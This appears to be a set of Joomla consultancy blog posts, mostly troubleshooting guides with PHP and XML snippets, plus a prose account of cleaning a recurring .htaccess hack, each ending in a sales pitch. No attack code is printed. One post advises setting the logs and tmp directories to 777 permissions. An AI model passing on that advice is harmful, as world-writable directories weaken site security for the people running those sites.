The log class attempted to save the log under the logs directory – but the $log_path variable in the configuration.php did not refer to the absolute path of the logs directory (it was just /logs), so we changed it (as well as the $tmp_path) to the absolute path (which was something like /home/[ourclienthostingusername]/public_html/[ourclinetjoomlawebsitename]/logs) and everything worked!

If you have already changed the $log_path and the $tmp_path values to the absolute path of the logs and the tmp directory respectively and you still have the same problem, then make sure that these directories are writable by the Joomla application. You can do that by changing the permissions on these two directories to 777.

If you still have the problem after doing all the above, then we’re here to help. Just contact us and we’ll make sure you’ll be able to login to your Joomla backend. Don’t worry, we’ll finish the work in no time and our rates are very, very affordable!

Language Switcher Does Not Appear in Joomla

We were working on a bilingual project today and we added the language switcher module to the top right of the website. The language switcher appeared for one language, but did not appear for the other.

For example, when the website was in French, then we were able to see the language switcher on the top right, but if it was in English, then the language switcher just wasn’t there. We thought that it we could just re-write the module from scratch as it’s just an easy module, all we had to do was to detect the current language using the following code:

	$currentLanguage= & JFactory::getLanguage();
	$currentLanguageTag= $currentLanguage->getTag();
	if ($currentLanguageTag== 'fr-FR'){
		[echo link to the French version of the website];
	}
	else{
		[echo link to the English version of the website];
	}

Once we have the language, we would be able to display the right link to the other language (or languages). But there was more to that, as we needed to make sure that the menu items match when switching from one language to another, for example, if we are on this page http://www.ourclientjoomlawebsite.com/en/store, then when switching to French, the link should automatically switch to http://www.ourclientjoomlawebsite.com/fr/magazin. That meant that our little module would not be as easy as we originally thought (and it’ll be like re-inventing the wheel), so we decided to take another look to see why Joomla’s built in language switcher module does not work.

We opened the file modules/mod_languages/helper.php and we checked what were the things that were being done in that module, and we noticed that the module had the following code that prevented the display of a language under certain conditions:

	// Do not display language without frontend UI
	if (!JLanguage::exists($language->lang_code)) {
		unset($languages[$i]);
	}
	// Do not display language without specific home menu
	elseif (!isset($homes[$language->lang_code])) {
		unset($languages[$i]);
	}
	// Do not display language without authorized access level
	elseif (isset($language->access) && $language->access && !in_array($language->access, $levels)) {
		unset($languages[$i]);
	}

We were confident that the issue was because at least one of the conditions above was true, and so we added an echo statement in each condition, and we noticed that the second condition returned true – which meant that there wasn’t a homepage for the other language (in our condition, it was the French language, and that’s why the language switcher did not display a link to switch to French when in English). We already created a main menu item for the French language, but it wasn’t set as a homepage. All we needed to do was to set that menu item to homepage in Joomla’s backend and the problem was solved.

Note that there are two other reasons on why the language switcher module does not appear/partially appears on your website: 1) you don’t have a menu item altogether for one or more languages or 2) you have some wrong permissions set on the homepage menu item for one or more languages (for example, you are only allowing registered visitors to view the homepage of your French version).

If you are trying to build a bilingual/multi-lingual Joomla website and you need help, then you’re in the right place. We are experienced in building multi-lingual websites in Joomla and we are confident that we can help you. Go ahead, contact us; our rates are cheap, our work is fast, and our quality is immaculate!

Why Joomla Is a Good Choice for Government Websites

We have worked on many government websites powered by Joomla, either directly (through direct contracts with government agencies) or indirectly as sub-contractors. We always love working on government projects, mainly because the requirements are very clear upfront and they are usually very challenging!

Today, the owner of a company for which we were sub-contracted to work on a Joomla government website asked us a question: “Why do you think we have so many government agencies using Joomla to power their websites?” We answered: “It’s because Joomla is a good choice for government websites.” His immediate, and logical answer was: “Why?” (We were sure that he knew the answer, but he wanted to hear it from us…).

We said it’s because of the following 10 reasons:

  1. Most government websites must adopt a specific template set at either the federal or the state/provincial level (depending on the type of the agency). For example, in Canada, all federal websites must have the same theme (colors, fonts, links, layout, etc…)

    In Joomla, it’s easy to create a template that complies with the federal/state/provincial requirements and apply that template to all the pages of the website.

  2. Government agencies like to use a mainstream CMS (although it’s not mandatory) – and what could be a better, more stable, and more powerful CMS than Joomla?

  3. Many government websites have been using Joomla for a long time now – some have been using Joomla since it was called Mambo. The administrators of these government websites are quite fond of using Joomla because they’ve used it for many years now and it’s easy for them to change the content on their websites in a relatively short amount of time. They also know what they can do and they cannot do (but can be done by Joomla experts) on this CMS.

  4. Joomla has many built-in features that are basic requirements for many government websites. For example: allowing visitors to download PDF versions of the articles, allowing visitors to print articles, a versatile contact us form, a built-in global search, etc…

  5. It is not that hard to learn Joomla as we’ve explained before – which is convenient for government agencies since they don’t like the maintenance of their websites to be complicated (in fact, we are working on migrating a government website from a proprietary CMS to Joomla because the proprietary CMS was too complicated and restrictive).

  6. Government agencies try to avoid being held hostages by companies that developed their CMS in case they (the government agencies) need support or they need to add new features. If they use Joomla, these government agencies do not have this problem because there are many commercial companies out there supporting Joomla, including itoctopus. This means that government agencies will have better prices (because of the competition) when bidding for any project on their Joomla website, and they will also have better quality!

    Also, Joomla is open source, which means that even if the Joomla project is no more, then support for Joomla as a product would still be possible by 3rd party companies!

  7. Joomla is able to gracefully handle the traffic of most government websites (with the exception of large websites, such as that of the IRS), since these websites only receive a few thousand visits a day (at best) – which is well in the range of the number of users that Joomla can handle without scaling it.

  8. Joomla can work in any environment – even on a Windows environment – and can be customized to work with an RDBMS other than MySQL. This means that if the government agency wishes to host its website in-house then it can do that with Joomla, regardless of the environment/infrastructure it has in its premises.

  9. Joomla is possibly the most extensible CMS on this planet – this extensibility (through 3rd party Joomla extensions) allows government agencies to easily add more features to their websites to better serve their visitors. For example, a government agency can use JEvents to list its upcoming events on its website. Another example is a government agency using VirtueMart to sell souvenirs to its visitors.

  10. Joomla is free, which means that the procurement step to get this CMS is eliminated, which in its turn means that the decision making process for choosing Joomla is faster – as it’ll only be based on benefits/alignment, and not costs (another reason why there are many government websites using Joomla).

Are you a government agency looking to adopt Joomla and not sure where you should start? We’re here to help! Just contact us and we’ll be more than happy to guide you through the process of adopting Joomla and adapting it to your needs! Our rates are affordable, we are located in North America (in Montreal, specifically), our work ethics are great, and we’re very, very fast!

Quick Fix to “Connection Was Reset”/”No Data Received” Errors on Firefox/Chrome When Installing a Joomla Extension

One of our clients was trying to install an extension today (it was VirtueMart), and she told us that every time she tried to install that extension, she got a “No Data Received” error on Google Chrome. So we checked the problem ourselves, and sure enough, we had the same error. So we tried on FireFox, but we got a “Connection Was Reset” error. Our last resort was Internet Explorer (which is a browser that we only use for testing), and we got the “Cannot display the webpage” error.

Weird! It was the first time that we saw all 3 major browsers agreeing on something!

Here’s what we knew:

  • The problem only happened when we tried to install an extension (we tried other extensions and we had the same problem – it wasn’t only VirtueMart).
  • Our client was using Joomla 1.5.26.

  • The website was nearly a fresh install – VirtueMart was the second 3rd party extension installed which meant that… (check the next point)

  • The client managed to successfully install an extension before.

We first thought that the problem lied in SEF, so we disabled it, but we still had the same problem (on all 3 browsers). We then moved further and renamed the .htaccess file to .htaccess.old but that didn’t work either. What could it be, we thought?

We then started disabling all the system plugins – one by one – hoping that this will solve the problem, but that didn’t either! So we disabled all the plugins, but that didn’t fix the problem. At this point, we started thinking that the problem might lie with the permissions with the Joomla directories (especially the temp directory – because it’s in that directory where new extensions are first uploaded before getting installed), but the permissions were all correct! This problem was getting more and more complicated to solve, and we started suspecting that there’s something wrong with our client’s hosting environment (like a wrong server setting, for example).

But then it hit us: Our client’s website was very small (with only one non-built-in Joomla extension), so we started looking at what made this website’s settings different from all the other websites, and we remarked that the website had FTP information set in the configuration settings – something that nearly 80% of the websites don’t have – and so we removed these FTP settings, and we were then able to install the extension.

We don’t know what exactly caused this FTP issue (as we didn’t have more time to invest in this problem), but we just knew that disabling FTP on the website (something that our client didn’t need in the first place) fixed the problem. She was happy because her problem was solved, and that’s what really matters for us!

If you’re having a “Connection Was Reset” error on Firefox or a “No Data Received” error on Chrome, then try removing the FTP settings from your Joomla configuration page, and if that doesn’t work, then why not contact us? We’ll be happy to serve, our rates are cheap, and we always get the job done!

Why Migrate to Joomla 2.5?

We are now recommending all our clients to migrate to Joomla 2.5. When we explain how hard it is to do this migration, we usually get one of the following answers:

Tell us again, why should we migrate to Joomla 2.5? or
Do we really need to migrate to Joomla 2.5? or
Can’t we just keep using Joomla 1.5.26 (it should be secure enough, no?) for the next few years or so? or
We just don’t need any new functionality – we’re happy with our website as it currently is – we don’t think we need this migration. or
We just can’t afford this migration – it costs a lot and we’re not prepared for this.

The moment we get any of the above answers, we feel it’s our job to explain the importance of the migration to Joomla 2.5 by stating the following facts:

  • Joomla 1.5.26 is no longer secure: We have said it before and we’ll say it again – Joomla 1.5.26 is no longer secure! There are various exploits that were lately revealed in the Joomla 1.5.26 core that render any website using this version under constant threat of being hacked. And trust us, it’ll cost much more (in terms of money and online presence) to clean your website from viruses every other week than upgrading to the latest version of Joomla.
  • New extensions are only written for Joomla 2.5: Ever since the Joomla official development team ceased to support Joomla 1.5.26 (that was back in May) , 3rd party companies developing Joomla extensions ceased the development for the 1.5.26 version. Currently, over 90% of new Joomla extensions are only being developed for Joomla 2.5. New extensions for Joomla 1.5.26 are only developed on demand.

  • Extensions for Joomla 1.5.26 are no longer supported: Since everything and everyone is moving to Joomla 2.5, developers of the Joomla 1.5.26 extensions don’t see a point of supporting these extensions – they focus on updating their extensions to work on Joomla 2.5, where everyone else is heading.

  • Joomla 2.5 is more stable: We have noticed that Joomla 2.5 is much more stable than Joomla 1.5.26, especially in terms of compatibility with prominent extensions. It seems that the Joomla team has worked with the main developers of 3rd party extensions to ensure that Joomla 2.5 has no conflicts whatsoever with these (3rd party) extensions.

  • Joomla 2.5 has many good looking and powerful templates: One of the things that amaze us is that while the free and commercial templates for Joomla 1.5.26 are mediocre at best – those for Joomla 2.5 are very good looking. They work well and they are well built.

  • It is very easy to extend Joomla 2.5: Want to add a few more fields to the registration form in the backend? You can do that by slightly modifying the jos_users table in the database (to add the new fields) and by editing a single XML file. In Joomla 1.5.26, the process is much more complicated.

  • Your Joomla 1.5.26 website will cost you more everyday: Not only will maintaining your Joomla website cost you more because of all the constant hacks (because of the vulnerabilities of this version), but the number of developers who know Joomla 1.5.26 and are willing to work on it will decrease – and thus their rates will increase because simply there will be no competition.

  • The longer you wait, the harder it’ll be to migrate your website: Joomla 3.0 is looming in the horizon, and we all know it’ll be another migration from Joomla 2.5 to Joomla 3.0. What this means is that you will have to do two migrations if you decide to migrate your Joomla website at a later stage.

  • Joomla 2.5 has many, many benefits: Take a look at our post: “20 Benefits of Using Joomla“. Many of the benefits listed in that post are exclusive to Joomla 2.5. Do you see what you’re missing?

Your website is your business – and you need to spend money on it to make money. We understand that it’s tough nowadays when it comes to the economy, but isn’t that website the same website that has given you a competitive edge which has led to the prosperity of your business? Isn’t that website the reason why you’re making more money? So why ignore it when it comes asking for money to look young again? (Yes – we do realize we’re using metaphors on websites!) Why let it catch all the viruses in the world so that you can save you a few pennies here and there? Why let it be the reason of losing your business rather than the reason of expanding your business?

It’s a bold (and potentially expensive) step – but you need to upgrade your Joomla 1.5.26 website to Joomla 2.5 – it’s either now or later, the only difference is that now it costs less, much less to do so, and if you need help in doing this, then go ahead, contact us! Keep in mind that this is a tough job though – but on the flip side, we are fast, we know Joomla by heart, our rates are affordable, and we will welcome you business with open arms!

An Introduction to Joomla’s Session Registry

Note: This post is a bit advanced when it comes to Joomla – and is mainly targeted at developers who are developing an integrated solution for their clients using Joomla.

So what is Joomla’s registry?

Joomla’s registry is a temporary storage for variables that can be passed back and forth between different extensions on the same page. These variables are stored and retrieved using Joomla’s JSession class – which by default stores its information in the table jos_session in the database (substitute jos with the prefix of your Joomla’s website). Registry variables are available at the page level – which means that if you move to another page then these variables are destroyed.

When should Joomla’s registry be used?

Joomla’s registry is very convenient if you want your different extensions to talk to each other. For example, you might want one of your modules to display differently based on some data from your component. A real life example would be a generic paging module. A paging module, in order to display properly, needs the following information:

  • The current URL: The current URL is returned by many Joomla and non-Joomla functions. You can get the URL using the Joomla function JURI::getInstance();.
  • The number of entries per page: This is the maximum number of entries on each listing page. This value is necessary for the module to know how many pages (in total) there are. This value is usually stored in a custom settings table in Joomla’s database.

  • The maximum number of pages: The maximum number of pages specifies the maximum number of links to other pages we can have in our paging. For example, if we’re currently at Page #1, then we will have links to Pages 1 through 10 (if that maximum is 10). Again, this value is typically stored in the settings table from Joomla’s database.

  • The number of entries in the current view: This is a value that is known by the view itself – and this where we need to use the registry – the number of entries in the current view needs to be passed by the view of the component to the module itself – and the most efficient and elegant way to do this in Joomla is by storing the number of entries in the registry in the component and then retrieving it from the registry in the module.

But, how do you store a variable in the registry?

The code to store a variable in Joomla’s registry is quite easy (it’s actually a two-line code):

$app =& JFactory::getApplication();
$app->setUserState("registryVar", 5);

In the above code, we are storing a variable called registryVar that has a value of 5 in the registry.

…and how do you retrieve it?

Again, it’s a two line code:

$app =& JFactory::getApplication();
$localVar = $app->getUserState("registryVar", 0);

In the code above, we are assigning the value of the local variable $localVar to the value of the registry variable registryVar. If the system can’t find the registryVar in the registry, then it will automatically assign the value of $localVar to the value of the second parameter of the method getUserState (which is 0 in our example above).

Why not use session variables instead?

There are two reasons why you shouldn’t use session variables in the case where you want two extensions to talk to each other on the same page: 1) session variables are not available on the same page they are assigned in and 2) session variables will be available globally to the application, which is not what you need if you only need them on a certain page.

Is Joomla’s registry stable?

Yes it is – we’ve used it a lot and it’s quite stable. However, we noticed that the registry will misbehave (e.g. will not correctly store variables and/or will not correctly retrieve them) if you change the URL of your website (which can happen if you move from a development environment to a production environment). This can be solved by emptying the jos_session table directly in phpMyAdmin or by running the following PHP script in one of your Joomla files that will contain an instance of the Joomla application (make sure you remove this code after you run it once):

<php
$db =& JFactory::getDBO();
$sql = "TRUNCATE TABLE #__session";
$db->setQuery($sql);
$db->query();?>

If you want Joomla experts to help you build your application by using Joomla’s framework, then all you need to is to contact us. We do know Joomla (a lot about it, in fact), we are nice people to work with, our rates are affordable, and we’re always looking for new challenges! What are you waiting for?

Internal Server Error When Logging In to Joomla’s Frontend

One of our top clients came to us today with the classic “invalid token when logging in to Joomla’s frontend” problem, we thought that it’ll be a straightforward fix, but like all these “token” problems, it wasn’t!

Our client was using an extension called ExtendedReg, which extends the built-in registration extension by allowing the administrator to add more fields (and have more functionality), and whenever someone tried to login using the ExtendedReg module, he was greeted with the following error message: “666 – The token was invalid!”

We knew from the format of the message that it wasn’t a built-in Joomla error message (Joomla never uses exclamation marks in its error messages), so it must be a third party extension. The logical thing to do was try to find where the error message was in the ExtendedReg extension, and so we searched for the word token in the directory containing the ExtendedReg component (in the frontend), and we were able to find the following code in line 158 of the users.php file located under components/com_extendedreg/controllers/ file:

if ((int)$conf->use_checktoken) {
	if (!JRequest::checkToken()) {
		JError::raiseError(666, JText::_('COM_EXTENDEDREG_INVALID_TOKEN'));
		jexit();
	}
}

As you can see, for the error message to show up, the condition $conf->use_checktoken must return 1, which means that the act of checking the token is based on a setting in the ExtendedReg configuration, and so we logged in to Joomla’s backend, and we went to Components -> ExtendedReg -> Settings, and sure enough, there was a field called Use checkToken tool (under the Security tab) which was set to Yes. We set this field to No and the error message disappeared, however, we still had problems: whenever we tried to login, we were greeted with the following error:

The server encountered an internal error or misconfiguration and was unable to complete your request.

The title of the page displaying the error was “200 OK”. What’s very weird was that the content of the page was actually displayed after the error message (usually Internal Server Errors are fatal – in other words the script stops from being executed when there is such an error). In any case, we started debugging the whole application by disabling the active plugins, one by one. This hasn’t helped.

We then looked at the .htaccess file located in the root directory of the website (we took a quick glimpse at this file when we first saw the problem, but we saw nothing out of the ordinary), and we read its lines one by one, until we reached the following code:


##
# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root).
##

# RewriteBase /

And then we remembered that this website is not hosted on the root directory – in fact it was hosted under a directory called Joomla, so we un-commented the line above (by removing the # next to # RewriteBase /) and the login just worked. We couldn’t be any happier!

If you’re having the same problem when you try to login to Joomla, or you’re having any problem on your Joomla website, then why not contact us? Our rates are cheap, our work is top-notch, our attitude very is friendly, and we always welcome new clients!

Is Joomla 1.5.26 Still Secure?

Up until recently, we were recommending our clients to keep using Joomla 1.5.26 until the end of the year, but we no longer recommend this. In fact, we are urging all our clients to migrate as soon as possible from Joomla 1.5.26 to Joomla 2.5.6 (or the latest version of Joomla, whatever it is).

So, why the sudden change of heart, you might wonder?

Well the reason for this is that in the past week alone we had over thirty cases of hacked Joomla websites, over twenty five of them were using Joomla 1.5.26! We know, it’s unbelievable, but it’s logical. Here’s why we think it’s logical:

  • The majority of Joomla websites out there are still using the Joomla 1.5.26 version – simply because it’s too hard to migrate from Joomla 1.5 to Joomla 2.5.
  • Joomla 1.5.26 has now several security breaches, especially in its TinyMCE editor.

  • All these websites using Joomla 1.5.26 are being hacked at the moment – one by one, and repeatedly!

So what can you (yes you!), the administrator (or owner) of a Joomla 1.5.26 website do? Well, we think that you have no other option but to migrate to Joomla 2.5 – no matter how costly or complicated that migration is. We don’t think that you have any other option – new vulnerabilities in Joomla 1.5.26 are being discovered (and maliciously exploited) every week – so even if you address a vulnerability on your website new ones will pop up!

But why not wait until Joomla’s development team fixes these vulnerabilities on Joomla 1.5.26 and releases a better, more secure version, such as Joomla 1.5.27? Well, because they will never fix it. The Joomla official development team has ceased support for the Joomla 1.5.x line back in May of this year (2012). Considering the amount of websites that are currently using Joomla 1.5.26, we think that the official Joomla team should address these issues immediately, but we doubt that they will!

But what about if you get a company like itoctopus to secure your Joomla 1.5.26 website, so that all the vulnerabilities and exploits would be addressed? Unfortunately, neither we at itoctopus nor any other company can do that for you (in fact, any company claiming that they’ll be doing this will be lying). And even if it’s possible, it’ll definitely cost less and take less time to migrate all your website (including its data and all the 3rd party extensions) to Joomla 2.5. We will never recommend this option, regardless of the structure and the size of your website.

But why did the Joomla official development team cease to support Joomla 1.5.26? Well, because 1) they want to focus on the new 2.5 and 3.0 lines of Joomla, and 2) they know that Joomla 1.5’s code isn’t optimal (and that’s why most of it was re-written in Joomla 1.6, which has the same engine as Joomla 2.5).

How about upgrading to Joomla 1.6 or Joomla 1.7? There are two reasons why you should never consider this as an option:

  1. It’s not an upgrade to Joomla 1.6 (or 1.7), it’s a migration (see the difference here) that is nearly identical to the Joomla 2.5 migration. This means that the amount of work to migrate to Joomla 1.6 is more or less the same as migrating to Joomla 2.5.
  2. Joomla 1.6 and 1.7 were both discontinued – even before the 1.5 version was discontinued (both were deemed to be unstable versions and that’s why they had a very short lifetime).

Again, we’re confident that Joomla 1.5.26 is no longer secure and you’ll be putting your website’s reputation and your visitors’ computers at risk if you continue using this version. If you need help upgrading from Joomla 1.5 to Joomla 2.5, then you’re at the right place! Just contact us and we’ll start working on the migration almost immediately. We’re fast, we’re honest, we’re hard workers, we won’t charge you much, and we’ll ensure that your website looks and works exactly as it was before the migration that you won’t even think that we have migrated it! (unless, of course, you went to the admin section of the website – it’ll be all different there, but definitely more powerful and exciting!)

How to Add an HTML Text Editor Field in Joomla?

Let’s say that you are building a form in Joomla, but you need one of your fields to be an HTML text editor instead of a normal textarea, how do yo do that?

Well, it’s very simple in Joomla – if you’re building the form using MVC (Model-View-Controller), and you want to add a field called Product Information then you will need to do is to add the following in your XML definition file located under /your_component_name/models/forms:

<field
        name="product_information"
        type="editor"
        label="Product Information"
        description="Please add information about your product here."
        class="form_field"
        default="--Product information not available--"
        filter="safehtml"
    />

Let us explain each and every field in the above :

  • name: The name of the field item. This means that if the name of your field is product_information, then you will get a variable called $_POST[‘product_information’] when you submit the form.
  • type: The type of the field element. You should write editor if you want the field to be an HTML editor.

  • label: The label of the field that will appear next to the field element.

  • description: The description of the field. This information (along with the label text above) will be displayed depending on your view.

  • class: The CSS class of the field.

  • default: The default information of the field. Usually in rich text editors (aka HTML editors) you don’t fill in default information.

  • filter: When set to safehtml, this will ensure that all malicious/dangerous HTML is stripped automatically by the editor. It is always recommended to set filter to safehtml when you’re using the text editor in a form on the frontend of your website.

2 notes on this method: 1) It’ll only work on Joomla 1.6, 1.7, and 2.5 and 2) you will need to place the <field> tag inside a <fieldset> tag.

Now, if you want to add the HTML editor manually into your code for use on your Joomla website, then here’s the code that you should add:

$editor =&JFactory::getEditor();
echo $editor->display($field_name, $default_value, $width, $height);

Here’s the explanation on the above fields:

  • $field_name: The name of the field. This is equivalent to product_information in the method above.
  • $default_value: The default value of the field. (can be left blank)

  • $width: The width of the generated HTML editor.

  • $height: (Yes, you’ve guessed it) The height of the generated HTML editor.

Again, the above code only works on Joomla 1.6 and higher (including Joomla 2.5).

You can also add an HTML editor to your Joomla website without using the Joomla library at all. This involves installing the source code of the HTML editor in the right place, and then invoking the right method to display that text editor. Although the concept for doing this is the same for all text editors, the code is (sometimes substantially) different from one editor to another. Please refer to the instructions manual for the editor that you want to install if you don’t want to use Joomla’s default editor.

Now if you’re not able (after reading this guide) to install an HTML editor on your Joomla website then we’re here to help! Just contact us and we’ll do it for you. It won’t take a lot of time and it won’t cost you much! Oh, and we’re very, very friendly! (we like to mention this a lot, because we proud ourselves in our friendliness with our clients – and with everyone else in general!)

On Storing Backups of Your Joomla Website in the Wrong Place

2 out of 3 times when we fix a hacked Joomla website, we discover that a backup of that Joomla website is either located in the root directory of the website, or worse, under a backup folder, which is, in its turn, located under the root directory. Some websites make it very easy for the hackers by having a backup.zip file located under the root directory!

Let’s be very clear about it, storing backups in a web accessible location, regardless of any protective strategies and name obfuscation you may use, is a wrong strategy. Let’s explain how:

  • If you store the backup file under the root directory of your website, then all the hacker has to do is to run a script to check whether a file named *backup*.zip exists on your server. It can be a lengthy process but eventually if there is a file then he’ll find it. Oh, and by the way, the first file that his script will search for is backup.zip.
  • If you store the backup file under a folder called backup, then it’s the same problem as above. However, if you don’t have directory listing disabled on your Joomla website, then it’s even worse, as one can just go to http://www.yourjoomlawebsite.com/backup and see (and of course download) all the files you have in your backup directory.

  • If you store the backup folder in any public location on your website, and then you visit the location of your public backup folder from your web browser, then pay attention that some web browsers can send this information for search engines for indexing – which means that your backup file may show up indexed on your website. So, if someone searches for yourjoomlawebsite backup he might get that zip file in the first row of the search results. Not good!

But what can someone do with a backup of your website? Well, for starters, he might have access to files that only registered (or paid) members have access to. Also, he’ll be able to know the name of your database, the name of the user with read and write access to your database, his password, and the host hosting the database. He’ll be also able to know which modules you have on your website, and which of those are vulnerable. And let’s just say that whoever downloads your backup file without your authorization is not doing this with the best of intentions.

So where and how should you store your backups?

Well, there are several ways for storing backups:

  • Store backups in a directory that is not accessible by the web server: We believe that this is the best strategy as it is the most secure. This means that your backups cannot and will never be accessible by visitors to your website.
  • Store backups in a directory under the root directory of your website but protect them by an .htaccess file: A simple deny from all at the beginning of the .htaccess file means that no visitor to your website will have access to your backup directory directly – but Apache will still have access. Which means that if there’s a vulnerability on your website, then someone might be able to download your backup by exploiting that vulnerability.

  • Store backups in a directory under the root directory of your website but protect them with an .htpasswd file: This consists of adding an .htpasswd file to the backup directory which means that anyone accessing that directory will be required to enter the right password. Note that this has the same vulnerability as above, since Apache will have access to that directory, regardless of whether it’s protected or not.

We recommend that you go with the first option to store your backups since we believe that backups should never exist under a location that is web accessible.

Now if you need help backing up your Joomla website, or if you need any help with your Joomla website, then why not contact us? We’ve been working on Joomla for many years now, we’re very friendly to work with, and it won’t cost you a fortune working with us!

.htaccess File Being Rewritten Every 30 Minutes on Joomla

We have worked with weird Joomla problems before, but this problem took the concept of weirdness to a whole new level! Here’s what was happening:

  1. The .htaccess file is hacked (hacking the .htaccess file is common and is easily remediable) and is redirecting traffic to the website when using Google Chrome to google.com, while traffic from both Mozilla Firefox and Internet Explorer was redirecting to a virus infected website.
  2. We upload a clean version of the .htaccess file and the site works fine.

  3. After 30 minutes, the .htaccess file is automatically changed to the hacked version.

  4. Repeat the above forever. (or at least until we knew the real reason of the problem)

Our first guess at the problem was that the permissions on the .htaccess were wrong, and so we set to them to 444 (which are the normal permissions on such critical files – if someone wants to change the .htaccess file then he’ll need to do it manually). This hasn’t worked, and the problem still existed.

We then called the hosting company to ask them if they have any tools that log file changes (e.g. which process/file is making a change to a file, which user is doing that change, and when is that change taking place). They said that they don’t maintain such logs.

We then wondered, what about the web logs? And so we checked them to see if there were any weird calls in these logs, and there were. In fact, we saw requests every 30 minutes from a specific IP (starting with the number 5) which was calling a file called .cache_*.php (located under images/banners), where * is usually a combination of 6 characters. That file was actually a duplicate of the file administrator/includes/toolbar.php with one difference: at the end of that file there was a very long preg_replace command, which was the actual hack! We deleted that file, and everything went OK – for a while!

A few hours later, the problem re-appeared, and the file .cache_*.php was restored. The thing is, there was another file, with a very innocent name, called script.php (located under the root of the website), which was being called if the .cache_*.php file was deleted. So, in other words, a program on the hacker’s end was doing the following:

  • Calling images/banners/.cache_*.php every 30 minutes and rewriting the .htaccess file to redirect to a malware site.
  • If it doesn’t find the .cache_*.php after approximately 10 retries, it was calling the file script.php, which will recreate the .cache_*.php, and then it will run the code in the .cache_*.php

We have to admit that this was one of the more advanced hacking techniques we have seen – but we did fix it by deleting the two files above and temporarily setting the permissions on the images/banners directory to 555 (r-xr-xr-x). It took us several hours to do that, but we did fix it eventually! And our customer couldn’t be happier as she was able to enjoy her weekend!

So what was the cause of this hack?

Well, the website was running Joomla 1.5.26 – which is now an unsupported version of Joomla since May of 2012 – which means that any vulnerabilities that exist on this version will no longer be addressed by the Joomla team. We have educated our customer about the benefits (especially when it comes to security) of migrating to Joomla 2.5.x as well as the complexity of such migration. We’re happy to say that our customer was convinced and has decided to migrate all her websites to the latest version of Joomla, which means a cleaner Internet for us all!

If your .htaccess file on your Joomla website is being changed every 30 minutes (or every hour), then try to fix it by following the above guide (once you clean your website then it’s recommended that you enhance its security by following our Joomla security tips). If you can’t, then fear not, all you need to do is to contact us and we’ll fix it for you in no time and at a very reasonable rate. We are also the nicest people that anyone can work with!

How Hard Is It to Migrate from Joomla 1.5 to Joomla 2.5?

We are getting customers on a daily basis nowadays asking us to migrate their websites from Joomla 1.5.x to Joomla 2.5.x (we are also getting requests to migrate websites from Joomla 1.0.x to Joomla 2.5.x). Some of our customers inaccurately believe that it’s easy to migrate from Joomla 1.5 to Joomla 2.5, and think that it’s easy for anyone to do this migration, and tell us, “This is probably the easiest job in the world, how hard is it really to migrate from Joomla 1.5 to Joomla 2.5?”

Let us answer this question in 5 words: “It is very, very hard!” It involves a lot of sweat and a lot of programming!

Migrating Joomla from 1.5 to 2.5 is not a standard process, and there are no reliable tools to do this. In fact, most of the work that we do in this migration is manual, and involves heavy programming. Here is a step by step process on what we do to migrate from Joomla 1.5 to 2.5. The below will demonstrate how hard it is to do this migration:

  1. We first backup the whole website, including the database. Although we do not change anything in the original website during the migration process, we do a full backup because we think that it is a best practice before doing work of this magnitude.
  2. We create a blank database that will be used to contain the data for the new Joomla website. We ensure that the same user who has access to the old Joomla website has access to the new Joomla website. (This is not necessary but it’s a good practice as we won’t have to keep track of multiple usernames and passwords.)

  3. We install the latest version of Joomla in a sub-directory under the main website. We download Joomla, upload the zip file to a directory under the main (old) Joomla website, and we call this directory v25x (where x stands for the current Joomla 2.5 release, for example, at the time of the writing of this post, the latest release is Joomla 2.5.6, and so we call this directory v256), we then extract the zip file using the File Manager tool in cPanel. Once Joomla is extracted into the v25x folder, we run the install script, and we make it use the blank database that we have already created in the previous step. We ensure that the main super administrator on the new website has the same credentials of the one on the old website.

  4. We copy non-core folders/files from the old Joomla website: For example, we copy the images folder from the old website to the new website. We also copy other folders that contain static files – such as pdf and swf folders. We also copy non-core files such as swf files and html files located in the root directory of the website.

  5. We migrate and install the template. The second step in the migration process is to migrate the template. In 99% of our Joomla migration cases, the customer is using a customized template and so we can’t just download the latest version of his template and install it. Migrating the template means that we need to accommodate the index.php and the templateDetails.xml files to the latest Joomla version. Note that there might be many other files in the template that need to be migrated as well, and that there are some websites that use multiple templates rather than using only one.

  6. We re-create the users.: If the website has only a few users for administration purpose, then we re-create them manually. But if it’s a website using the registration component heavily, then we re-create them using a script.

  7. We re-create the articles on the website. If it’s a small website, then we re-create the articles (as well as the categories) manually. If it’s a large website, then we write a script that will import the articles (and, again, the categories) from the old website and automatically write them to the new website. Note that we do not use any 3rd party tools to do this, because in our experience, they create problems later in the migration.

  8. We migrate the modules. This is where the work becomes really challenging. Almost all of the websites that we have migrated so far (we have migrated exactly 87 websites to date) had at least a few modules that did not have a version compatible with Joomla 2.5 (so we couldn’t just download the Joomla 2.5 version of that module and install it). For such modules, we usually follow one of the three following methods:

    1. We re-create the module from scratch. We go this way if the module is very complex and our client is only using a small part of its functionality.
    2. We fix the module. This is our preferred solution to migrate a module, we just fix it and make it compatible with Joomla 2.5. The fix sometimes can be easy, but sometimes can be very hard.

    3. We find a similar module. There are some very old modules that were discontinued a few years ago, but that re-incarnated under other names but with very similar functionality. We usually do this for modules that manipulate menus such as the SuperFish module (we replace this module with the ARI Ext Menu module)

  9. We migrate the plugins. Plugin migration is very similar to module migration. We check which plugins the website is actually using, and for those plugins that do not exists on the new Joomla version we either 1) download the latest version of these plugins and install it, 2) re-create these plugins from scratch, 3) fix these plugins, or 4) try to find plugins that do the exact same thing.

  10. We migrate the components. The component migration process is the same as module migration and plugin migration, but with one difference – it is much more complicated, because components, unlike modules and plugins, can save a lot of data in the database. And, for some components, even if there is a version of that component compatible with the latest version of Joomla, then the structure of the data for that component is completely different from that of its previous version. An example of such component is VirtueMart. The structure of the data in the database of VirtueMart 1.5 is very different from that of Virtuemart 2.0. For example, the concept of attribute in VirtueMart 1.5 and lower is replaced with the concept of custom fields, and the product description in VirtueMart 1.5 is in the same table as the other product information, while it’s in another table in VirtueMart 2.0 (both are joined using a join table). There also many examples of data inconsistency between different versions in VirtueMart alone, such as the storage of the images, the structure of the category table, etc… This means that for extensions such as VirtueMart we need to create scripts to migrate the data (again, we don’t trust scripts made by 3rd parties). That can be a very long and a very tedious process. By the way, in one of the websites we just migrated (we finished its migration yesterday), the migration of VirtueMart took us more time than the migration of the rest of the website.

